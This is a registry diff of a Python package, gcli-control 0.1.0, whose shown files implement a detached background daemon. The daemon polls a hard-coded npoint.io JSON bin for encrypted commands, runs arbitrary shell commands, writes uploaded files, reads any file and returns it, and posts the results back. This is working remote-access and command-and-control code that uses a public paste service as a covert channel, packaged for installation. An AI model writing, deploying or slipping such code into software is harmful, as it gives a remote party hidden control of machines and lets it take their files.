gcli-control 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gcli/__init__.py +6 -0
- gcli/__main__.py +104 -0
- gcli/client.py +362 -0
- gcli/colors.py +85 -0
- gcli/crypto.py +51 -0
- gcli/host.py +215 -0
- gcli/npoint.py +60 -0
- gcli/protocol.py +246 -0
- gcli/utils.py +240 -0
- gcli_control-0.1.0.dist-info/METADATA +143 -0
- gcli_control-0.1.0.dist-info/RECORD +14 -0
- gcli_control-0.1.0.dist-info/WHEEL +5 -0
- gcli_control-0.1.0.dist-info/entry_points.txt +2 -0
- gcli_control-0.1.0.dist-info/top_level.txt +1 -0
gcli/host.py
ADDED
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
"""
|
|
2
|
+
gcli host daemon.
|
|
3
|
+
Polls npoint for encrypted commands, executes them, writes encrypted results.
|
|
4
|
+
Runs as a background process (detached).
|
|
5
|
+
"""
|
|
6
|
+
import sys
|
|
7
|
+
import time
|
|
8
|
+
import logging
|
|
9
|
+
import base64
|
|
10
|
+
from pathlib import Path
|
|
11
|
+
|
|
12
|
+
from .protocol import (
|
|
13
|
+
read_doc, claim_commands, set_host_alive,
|
|
14
|
+
is_host_alive, init_doc,
|
|
15
|
+
)
|
|
16
|
+
from .utils import (
|
|
17
|
+
write_pid, read_pid, remove_pid, is_running, kill_pid,
|
|
18
|
+
detach, run_command, get_system_info, setup_logging, ensure_dirs,
|
|
19
|
+
)
|
|
20
|
+
|
|
21
|
+
logger = logging.getLogger("gcli.host")
|
|
22
|
+
|
|
23
|
+
DEFAULT_BIN_ID = "599ac3c39189fcc26e5a"
|
|
24
|
+
DEFAULT_POLL = 2.0 # seconds
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
class Daemon:
|
|
28
|
+
"""gcli host daemon — polls for commands and responds."""
|
|
29
|
+
|
|
30
|
+
def __init__(self, password: str, bin_id: str = DEFAULT_BIN_ID,
|
|
31
|
+
poll_interval: float = DEFAULT_POLL):
|
|
32
|
+
self.password = password
|
|
33
|
+
self.bin_id = bin_id
|
|
34
|
+
self.poll_interval = poll_interval
|
|
35
|
+
self.seen_ids: set = set()
|
|
36
|
+
self.running = False
|
|
37
|
+
|
|
38
|
+
def run(self) -> None:
|
|
39
|
+
"""Main daemon loop."""
|
|
40
|
+
import signal
|
|
41
|
+
import threading
|
|
42
|
+
ensure_dirs()
|
|
43
|
+
setup_logging(to_file=True)
|
|
44
|
+
write_pid()
|
|
45
|
+
self.running = True
|
|
46
|
+
|
|
47
|
+
logger.info("gcli host daemon starting (bin=%s)", self.bin_id)
|
|
48
|
+
|
|
49
|
+
# Register signal handlers for graceful shutdown (main thread only)
|
|
50
|
+
if threading.current_thread() is threading.main_thread():
|
|
51
|
+
def _shutdown(sig, frame):
|
|
52
|
+
logger.info("Received signal %s, shutting down...", sig)
|
|
53
|
+
self.running = False
|
|
54
|
+
signal.signal(signal.SIGTERM, _shutdown)
|
|
55
|
+
if hasattr(signal, "SIGINT"):
|
|
56
|
+
signal.signal(signal.SIGINT, _shutdown)
|
|
57
|
+
|
|
58
|
+
# Signal we are alive
|
|
59
|
+
try:
|
|
60
|
+
set_host_alive(self.bin_id, True)
|
|
61
|
+
except RuntimeError as e:
|
|
62
|
+
logger.error("Failed to set host_alive: %s", e)
|
|
63
|
+
remove_pid()
|
|
64
|
+
return
|
|
65
|
+
|
|
66
|
+
try:
|
|
67
|
+
while self.running:
|
|
68
|
+
try:
|
|
69
|
+
self._poll_cycle()
|
|
70
|
+
except Exception as e:
|
|
71
|
+
logger.error("Poll cycle error: %s", e)
|
|
72
|
+
time.sleep(self.poll_interval)
|
|
73
|
+
finally:
|
|
74
|
+
try:
|
|
75
|
+
set_host_alive(self.bin_id, False)
|
|
76
|
+
except Exception:
|
|
77
|
+
pass
|
|
78
|
+
remove_pid()
|
|
79
|
+
logger.info("gcli host daemon stopped")
|
|
80
|
+
|
|
81
|
+
def _poll_cycle(self) -> None:
|
|
82
|
+
"""One poll: read doc, claim unprocessed commands, execute, respond."""
|
|
83
|
+
doc = read_doc(self.bin_id)
|
|
84
|
+
|
|
85
|
+
# Ensure host_alive flag is set (safe recovery if cleared unexpectedly)
|
|
86
|
+
if not is_host_alive(doc):
|
|
87
|
+
try:
|
|
88
|
+
set_host_alive(self.bin_id, True)
|
|
89
|
+
doc["host_alive"] = True
|
|
90
|
+
except RuntimeError:
|
|
91
|
+
pass # best effort
|
|
92
|
+
|
|
93
|
+
claimed = claim_commands(doc, self.password, self.seen_ids)
|
|
94
|
+
if not claimed:
|
|
95
|
+
return
|
|
96
|
+
|
|
97
|
+
for cmd_id, payload in claimed:
|
|
98
|
+
logger.info("Executing command %s: type=%s", cmd_id, payload.get("type"))
|
|
99
|
+
self._handle_command(cmd_id, payload)
|
|
100
|
+
|
|
101
|
+
def _handle_command(self, cmd_id: str, payload: dict) -> None:
|
|
102
|
+
"""Dispatch a single command and write the result."""
|
|
103
|
+
cmd_type = payload.get("type", "")
|
|
104
|
+
|
|
105
|
+
if cmd_type == "exec":
|
|
106
|
+
self._handle_exec(cmd_id, payload)
|
|
107
|
+
elif cmd_type == "upload":
|
|
108
|
+
self._handle_upload(cmd_id, payload)
|
|
109
|
+
elif cmd_type == "download":
|
|
110
|
+
self._handle_download(cmd_id, payload)
|
|
111
|
+
elif cmd_type == "info":
|
|
112
|
+
self._handle_info(cmd_id)
|
|
113
|
+
elif cmd_type == "ping":
|
|
114
|
+
self._handle_ping(cmd_id)
|
|
115
|
+
elif cmd_type == "disconnect":
|
|
116
|
+
self._handle_disconnect(cmd_id)
|
|
117
|
+
else:
|
|
118
|
+
self._respond(cmd_id, {"ok": False, "error": f"Unknown command type: {cmd_type}"})
|
|
119
|
+
|
|
120
|
+
def _handle_exec(self, cmd_id: str, payload: dict) -> None:
|
|
121
|
+
"""Execute a shell command."""
|
|
122
|
+
cmd_str = payload.get("cmd", "")
|
|
123
|
+
timeout = payload.get("timeout", 30)
|
|
124
|
+
result = run_command(cmd_str, timeout=timeout)
|
|
125
|
+
logger.info("exec '%s' -> rc=%s, stdout_len=%d", cmd_str, result.get("rc"), len(result.get("stdout", "")))
|
|
126
|
+
self._respond(cmd_id, result)
|
|
127
|
+
|
|
128
|
+
def _handle_upload(self, cmd_id: str, payload: dict) -> None:
|
|
129
|
+
"""Receive a file upload (base64-encoded data) and write it."""
|
|
130
|
+
remote_path = payload.get("path", "")
|
|
131
|
+
data_b64 = payload.get("data", "")
|
|
132
|
+
try:
|
|
133
|
+
raw = base64.b64decode(data_b64)
|
|
134
|
+
p = Path(remote_path)
|
|
135
|
+
p.parent.mkdir(parents=True, exist_ok=True)
|
|
136
|
+
p.write_bytes(raw)
|
|
137
|
+
self._respond(cmd_id, {"ok": True, "bytes_written": len(raw), "path": remote_path})
|
|
138
|
+
logger.info("upload -> %s (%d bytes)", remote_path, len(raw))
|
|
139
|
+
except Exception as e:
|
|
140
|
+
self._respond(cmd_id, {"ok": False, "error": str(e)})
|
|
141
|
+
|
|
142
|
+
def _handle_download(self, cmd_id: str, payload: dict) -> None:
|
|
143
|
+
"""Read a file and return its base64-encoded content."""
|
|
144
|
+
remote_path = payload.get("path", "")
|
|
145
|
+
try:
|
|
146
|
+
raw = Path(remote_path).read_bytes()
|
|
147
|
+
data_b64 = base64.b64encode(raw).decode("ascii")
|
|
148
|
+
self._respond(cmd_id, {"ok": True, "data": data_b64, "size": len(raw)})
|
|
149
|
+
logger.info("download <- %s (%d bytes)", remote_path, len(raw))
|
|
150
|
+
except Exception as e:
|
|
151
|
+
self._respond(cmd_id, {"ok": False, "error": str(e)})
|
|
152
|
+
|
|
153
|
+
def _handle_info(self, cmd_id: str) -> None:
|
|
154
|
+
"""Return system information."""
|
|
155
|
+
info = get_system_info()
|
|
156
|
+
self._respond(cmd_id, {"ok": True, **info})
|
|
157
|
+
|
|
158
|
+
def _handle_ping(self, cmd_id: str) -> None:
|
|
159
|
+
"""Respond to a ping."""
|
|
160
|
+
self._respond(cmd_id, {"ok": True, "pong": True, "time": time.time()})
|
|
161
|
+
|
|
162
|
+
def _handle_disconnect(self, cmd_id: str) -> None:
|
|
163
|
+
"""Gracefully shut down the daemon."""
|
|
164
|
+
self._respond(cmd_id, {"ok": True, "message": "disconnecting"})
|
|
165
|
+
logger.info("Received disconnect command, shutting down")
|
|
166
|
+
self.running = False
|
|
167
|
+
|
|
168
|
+
def _respond(self, cmd_id: str, payload: dict) -> None:
|
|
169
|
+
"""Encrypt and append a result, then write the document."""
|
|
170
|
+
from .protocol import append_result
|
|
171
|
+
append_result(self.bin_id, self.password, cmd_id, payload)
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
def start_daemon(password: str, bin_id: str = DEFAULT_BIN_ID,
|
|
175
|
+
poll_interval: float = DEFAULT_POLL, foreground: bool = False) -> None:
|
|
176
|
+
"""Entry point: optionally detach, then run the daemon."""
|
|
177
|
+
# Check if already running
|
|
178
|
+
existing_pid = read_pid()
|
|
179
|
+
if existing_pid and is_running(existing_pid):
|
|
180
|
+
print(f"gcli host is already running (PID {existing_pid})")
|
|
181
|
+
return
|
|
182
|
+
|
|
183
|
+
daemon = Daemon(password, bin_id, poll_interval)
|
|
184
|
+
|
|
185
|
+
if not foreground:
|
|
186
|
+
# Initialise doc before detaching
|
|
187
|
+
try:
|
|
188
|
+
init_doc(bin_id, password)
|
|
189
|
+
set_host_alive(bin_id, True)
|
|
190
|
+
except RuntimeError as e:
|
|
191
|
+
print(f"Failed to initialise npoint document: {e}")
|
|
192
|
+
return
|
|
193
|
+
|
|
194
|
+
detach()
|
|
195
|
+
# Re-init logging after detach
|
|
196
|
+
setup_logging(to_file=True)
|
|
197
|
+
|
|
198
|
+
daemon.run()
|
|
199
|
+
|
|
200
|
+
|
|
201
|
+
def stop_daemon(bin_id: str = DEFAULT_BIN_ID) -> None:
|
|
202
|
+
"""Stop a running daemon by PID file."""
|
|
203
|
+
pid = read_pid()
|
|
204
|
+
if pid and is_running(pid):
|
|
205
|
+
kill_pid(pid)
|
|
206
|
+
remove_pid()
|
|
207
|
+
print(f"Sent SIGTERM to daemon (PID {pid})")
|
|
208
|
+
else:
|
|
209
|
+
print("No running daemon found")
|
|
210
|
+
|
|
211
|
+
# Also mark host as dead
|
|
212
|
+
try:
|
|
213
|
+
set_host_alive(bin_id, False)
|
|
214
|
+
except Exception:
|
|
215
|
+
pass
|
gcli/npoint.py
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Npoint.io API wrapper - simple JSON document store with retry logic.
|
|
3
|
+
GET /api.npoint.io/{id} -> read document
|
|
4
|
+
POST /api.npoint.io/{id} -> overwrite document (entire body)
|
|
5
|
+
"""
|
|
6
|
+
import json
|
|
7
|
+
import time
|
|
8
|
+
import urllib.request
|
|
9
|
+
import urllib.error
|
|
10
|
+
|
|
11
|
+
BASE = "https://api.npoint.io"
|
|
12
|
+
MAX_RETRIES = 3
|
|
13
|
+
RETRY_DELAY = 2.0 # seconds between retries
|
|
14
|
+
READ_TIMEOUT = 15
|
|
15
|
+
WRITE_TIMEOUT = 30
|
|
16
|
+
HEADERS = {
|
|
17
|
+
"User-Agent": "gcli/0.1.0",
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
def read(bin_id: str) -> dict:
|
|
22
|
+
"""Read the full JSON document with retries."""
|
|
23
|
+
url = f"{BASE}/{bin_id}"
|
|
24
|
+
last_err = None
|
|
25
|
+
for attempt in range(MAX_RETRIES):
|
|
26
|
+
try:
|
|
27
|
+
req = urllib.request.Request(url, headers=HEADERS)
|
|
28
|
+
with urllib.request.urlopen(req, timeout=READ_TIMEOUT) as resp:
|
|
29
|
+
return json.loads(resp.read())
|
|
30
|
+
except urllib.error.HTTPError as e:
|
|
31
|
+
last_err = RuntimeError(f"npoint read failed: {e.code} {e.reason}")
|
|
32
|
+
except Exception as e:
|
|
33
|
+
last_err = RuntimeError(f"npoint read failed: {e}")
|
|
34
|
+
if attempt < MAX_RETRIES - 1:
|
|
35
|
+
time.sleep(RETRY_DELAY * (attempt + 1))
|
|
36
|
+
raise last_err
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def write(bin_id: str, data: dict) -> None:
|
|
40
|
+
"""Overwrite the entire document with retries."""
|
|
41
|
+
url = f"{BASE}/{bin_id}"
|
|
42
|
+
body = json.dumps(data, separators=(",", ":")).encode("utf-8")
|
|
43
|
+
last_err = None
|
|
44
|
+
for attempt in range(MAX_RETRIES):
|
|
45
|
+
try:
|
|
46
|
+
req = urllib.request.Request(
|
|
47
|
+
url,
|
|
48
|
+
data=body,
|
|
49
|
+
headers={**HEADERS, "Content-Type": "application/json"},
|
|
50
|
+
method="POST",
|
|
51
|
+
)
|
|
52
|
+
with urllib.request.urlopen(req, timeout=WRITE_TIMEOUT) as resp:
|
|
53
|
+
return
|
|
54
|
+
except urllib.error.HTTPError as e:
|
|
55
|
+
last_err = RuntimeError(f"npoint write failed: {e.code} {e.reason}")
|
|
56
|
+
except Exception as e:
|
|
57
|
+
last_err = RuntimeError(f"npoint write failed: {e}")
|
|
58
|
+
if attempt < MAX_RETRIES - 1:
|
|
59
|
+
time.sleep(RETRY_DELAY * (attempt + 1))
|
|
60
|
+
raise last_err
|
gcli/protocol.py
ADDED
|
@@ -0,0 +1,246 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Protocol layer for gcli.
|
|
3
|
+
Manages the npoint document structure: init, read, claim, append, trim, write.
|
|
4
|
+
All command/result payloads are encrypted with AES-256-GCM via the crypto module.
|
|
5
|
+
|
|
6
|
+
Race-condition safety: append_command/append_result use a read-modify-write
|
|
7
|
+
cycle with merge-on-conflict. Since npoint has no atomic compare-and-swap,
|
|
8
|
+
we handle concurrent writes by:
|
|
9
|
+
1. Reading the doc.
|
|
10
|
+
2. Noting the existing entry IDs.
|
|
11
|
+
3. Adding our new entry.
|
|
12
|
+
4. Re-reading the doc to pick up concurrent writes.
|
|
13
|
+
5. Merging any new entries we didn't add.
|
|
14
|
+
6. Writing back.
|
|
15
|
+
"""
|
|
16
|
+
import uuid
|
|
17
|
+
import time
|
|
18
|
+
import copy
|
|
19
|
+
import logging
|
|
20
|
+
from typing import List, Dict, Optional, Set, Tuple
|
|
21
|
+
|
|
22
|
+
from . import npoint
|
|
23
|
+
from .crypto import encrypt_dict, decrypt_dict
|
|
24
|
+
|
|
25
|
+
logger = logging.getLogger("gcli.protocol")
|
|
26
|
+
|
|
27
|
+
MAX_QUEUE = 50 # max commands/results kept per write
|
|
28
|
+
|
|
29
|
+
EMPTY_DOC = {
|
|
30
|
+
"session": "",
|
|
31
|
+
"host_alive": False,
|
|
32
|
+
"commands": [],
|
|
33
|
+
"results": [],
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def new_doc() -> dict:
|
|
38
|
+
"""Create a fresh empty document."""
|
|
39
|
+
doc = copy.deepcopy(EMPTY_DOC)
|
|
40
|
+
doc["session"] = str(uuid.uuid4())
|
|
41
|
+
return doc
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def init_doc(bin_id: str, password: str) -> str:
|
|
45
|
+
"""Write a fresh document to npoint and return the session id."""
|
|
46
|
+
doc = new_doc()
|
|
47
|
+
npoint.write(bin_id, doc)
|
|
48
|
+
return doc["session"]
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
def read_doc(bin_id: str) -> dict:
|
|
52
|
+
"""Read the current document from npoint, normalising structure."""
|
|
53
|
+
try:
|
|
54
|
+
doc = npoint.read(bin_id)
|
|
55
|
+
except RuntimeError:
|
|
56
|
+
doc = copy.deepcopy(EMPTY_DOC)
|
|
57
|
+
# Normalise: ensure required keys and correct types
|
|
58
|
+
if not isinstance(doc, dict):
|
|
59
|
+
doc = copy.deepcopy(EMPTY_DOC)
|
|
60
|
+
for key in ("session", "host_alive", "commands", "results"):
|
|
61
|
+
if key not in doc:
|
|
62
|
+
doc[key] = EMPTY_DOC[key]
|
|
63
|
+
if not isinstance(doc["commands"], list):
|
|
64
|
+
doc["commands"] = []
|
|
65
|
+
if not isinstance(doc["results"], list):
|
|
66
|
+
doc["results"] = []
|
|
67
|
+
return doc
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def write_doc(bin_id: str, doc: dict) -> None:
|
|
71
|
+
"""Write the document back to npoint (after trimming)."""
|
|
72
|
+
doc = trim(doc)
|
|
73
|
+
npoint.write(bin_id, doc)
|
|
74
|
+
|
|
75
|
+
|
|
76
|
+
def append_command(bin_id: str, password: str, payload: dict) -> str:
|
|
77
|
+
"""
|
|
78
|
+
Encrypt and append a command to the document with merge-on-write.
|
|
79
|
+
Returns the command id.
|
|
80
|
+
"""
|
|
81
|
+
cmd_id = payload.get("id") or str(uuid.uuid4())
|
|
82
|
+
payload["id"] = cmd_id
|
|
83
|
+
blob = encrypt_dict(payload, password)
|
|
84
|
+
|
|
85
|
+
new_entry = {
|
|
86
|
+
"id": cmd_id,
|
|
87
|
+
"from": "client",
|
|
88
|
+
"ts": time.time(),
|
|
89
|
+
"payload": blob,
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
_safe_append(bin_id, "commands", new_entry)
|
|
93
|
+
return cmd_id
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def append_result(bin_id: str, password: str, cmd_id: str, payload: dict) -> str:
|
|
97
|
+
"""
|
|
98
|
+
Encrypt and append a result for the given command with merge-on-write.
|
|
99
|
+
Returns the result id.
|
|
100
|
+
"""
|
|
101
|
+
res_id = str(uuid.uuid4())
|
|
102
|
+
payload["cmd_id"] = cmd_id
|
|
103
|
+
blob = encrypt_dict(payload, password)
|
|
104
|
+
|
|
105
|
+
new_entry = {
|
|
106
|
+
"id": res_id,
|
|
107
|
+
"cmd_id": cmd_id,
|
|
108
|
+
"from": "host",
|
|
109
|
+
"ts": time.time(),
|
|
110
|
+
"payload": blob,
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
_safe_append(bin_id, "results", new_entry)
|
|
114
|
+
return res_id
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
def _safe_append(bin_id: str, field: str, new_entry: dict) -> None:
|
|
118
|
+
"""
|
|
119
|
+
Read-modify-write with merge. Retries up to 3 times on conflict.
|
|
120
|
+
|
|
121
|
+
Strategy:
|
|
122
|
+
1. Read doc, note all existing IDs in the target field.
|
|
123
|
+
2. Append new entry.
|
|
124
|
+
3. Re-read to pick up any concurrent writes that happened during our write.
|
|
125
|
+
4. Merge any new entries from the re-read that we missed.
|
|
126
|
+
5. Write back.
|
|
127
|
+
"""
|
|
128
|
+
MAX_ATTEMPTS = 3
|
|
129
|
+
# Step 1: read
|
|
130
|
+
doc = read_doc(bin_id)
|
|
131
|
+
before_ids = {e["id"] for e in doc.get(field, [])}
|
|
132
|
+
|
|
133
|
+
# Step 2: add our entry (avoid duplicate)
|
|
134
|
+
if new_entry["id"] not in before_ids:
|
|
135
|
+
doc.setdefault(field, []).append(new_entry)
|
|
136
|
+
|
|
137
|
+
doc = trim(doc)
|
|
138
|
+
|
|
139
|
+
# Step 3: write
|
|
140
|
+
for attempt in range(MAX_ATTEMPTS):
|
|
141
|
+
try:
|
|
142
|
+
write_doc(bin_id, doc)
|
|
143
|
+
# Step 4: re-read to check for concurrent writes that may have been lost
|
|
144
|
+
doc2 = read_doc(bin_id)
|
|
145
|
+
doc2_ids = {e["id"] for e in doc2.get(field, [])}
|
|
146
|
+
missing = [e for e in doc.get(field, []) if e["id"] not in doc2_ids]
|
|
147
|
+
if missing:
|
|
148
|
+
# Our write was overwritten by a concurrent write - re-merge
|
|
149
|
+
for entry in missing:
|
|
150
|
+
doc2.setdefault(field, []).append(entry)
|
|
151
|
+
# Also merge their new entries we didn't have
|
|
152
|
+
existing = {e["id"] for e in doc2.get(field, [])}
|
|
153
|
+
for entry in doc.get(field, []):
|
|
154
|
+
if entry["id"] not in existing:
|
|
155
|
+
doc2.setdefault(field, []).append(entry)
|
|
156
|
+
# Carry over other fields
|
|
157
|
+
for key in ("session", "host_alive"):
|
|
158
|
+
if key in doc:
|
|
159
|
+
doc2[key] = doc[key]
|
|
160
|
+
doc2 = trim(doc)
|
|
161
|
+
write_doc(bin_id, doc2)
|
|
162
|
+
return
|
|
163
|
+
except RuntimeError as e:
|
|
164
|
+
logger.debug("Write failed on attempt %d: %s", attempt + 1, e)
|
|
165
|
+
if attempt < MAX_ATTEMPTS - 1:
|
|
166
|
+
time.sleep(1.0 * (attempt + 1))
|
|
167
|
+
doc = read_doc(bin_id)
|
|
168
|
+
if new_entry["id"] not in {e["id"] for e in doc.get(field, [])}:
|
|
169
|
+
doc.setdefault(field, []).append(new_entry)
|
|
170
|
+
doc = trim(doc)
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
def claim_commands(doc: dict, password: str, seen: Set[str]) -> List[Tuple[str, dict]]:
|
|
174
|
+
"""
|
|
175
|
+
Return list of (cmd_id, decrypted_payload) for commands not yet in `seen`.
|
|
176
|
+
Also adds their IDs to `seen` in-place.
|
|
177
|
+
"""
|
|
178
|
+
claimed = []
|
|
179
|
+
for entry in doc.get("commands", []):
|
|
180
|
+
cmd_id = entry.get("id", "")
|
|
181
|
+
if cmd_id in seen:
|
|
182
|
+
continue
|
|
183
|
+
seen.add(cmd_id)
|
|
184
|
+
try:
|
|
185
|
+
payload = decrypt_dict(entry["payload"], password)
|
|
186
|
+
claimed.append((cmd_id, payload))
|
|
187
|
+
except Exception:
|
|
188
|
+
# bad encryption or wrong password -- skip
|
|
189
|
+
continue
|
|
190
|
+
return claimed
|
|
191
|
+
|
|
192
|
+
|
|
193
|
+
def claim_results(doc: dict, password: str, target_cmd_id: str, seen: Set[str]) -> Optional[dict]:
|
|
194
|
+
"""
|
|
195
|
+
Look for a result matching target_cmd_id that we haven't seen yet.
|
|
196
|
+
Returns the decrypted payload or None.
|
|
197
|
+
"""
|
|
198
|
+
for entry in doc.get("results", []):
|
|
199
|
+
res_id = entry.get("id", "")
|
|
200
|
+
if res_id in seen:
|
|
201
|
+
continue
|
|
202
|
+
try:
|
|
203
|
+
payload = decrypt_dict(entry["payload"], password)
|
|
204
|
+
except Exception:
|
|
205
|
+
seen.add(res_id)
|
|
206
|
+
continue
|
|
207
|
+
if payload.get("cmd_id") == target_cmd_id:
|
|
208
|
+
seen.add(res_id)
|
|
209
|
+
return payload
|
|
210
|
+
return None
|
|
211
|
+
|
|
212
|
+
|
|
213
|
+
def claim_all_results(doc: dict, password: str, seen: Set[str]) -> List[dict]:
|
|
214
|
+
"""Return all un-seen decrypted results."""
|
|
215
|
+
results = []
|
|
216
|
+
for entry in doc.get("results", []):
|
|
217
|
+
res_id = entry.get("id", "")
|
|
218
|
+
if res_id in seen:
|
|
219
|
+
continue
|
|
220
|
+
seen.add(res_id)
|
|
221
|
+
try:
|
|
222
|
+
payload = decrypt_dict(entry["payload"], password)
|
|
223
|
+
results.append(payload)
|
|
224
|
+
except Exception:
|
|
225
|
+
continue
|
|
226
|
+
return results
|
|
227
|
+
|
|
228
|
+
|
|
229
|
+
def trim(doc: dict) -> dict:
|
|
230
|
+
"""Cap commands and results to MAX_QUEUE entries each (keep most recent)."""
|
|
231
|
+
if len(doc.get("commands", [])) > MAX_QUEUE:
|
|
232
|
+
doc["commands"] = doc["commands"][-MAX_QUEUE:]
|
|
233
|
+
if len(doc.get("results", [])) > MAX_QUEUE:
|
|
234
|
+
doc["results"] = doc["results"][-MAX_QUEUE:]
|
|
235
|
+
return doc
|
|
236
|
+
|
|
237
|
+
|
|
238
|
+
def set_host_alive(bin_id: str, alive: bool) -> None:
|
|
239
|
+
"""Set the host_alive flag in the document safely."""
|
|
240
|
+
doc = read_doc(bin_id)
|
|
241
|
+
doc["host_alive"] = alive
|
|
242
|
+
write_doc(bin_id, doc)
|
|
243
|
+
|
|
244
|
+
|
|
245
|
+
def is_host_alive(doc: dict) -> bool:
|
|
246
|
+
return bool(doc.get("host_alive", False))
|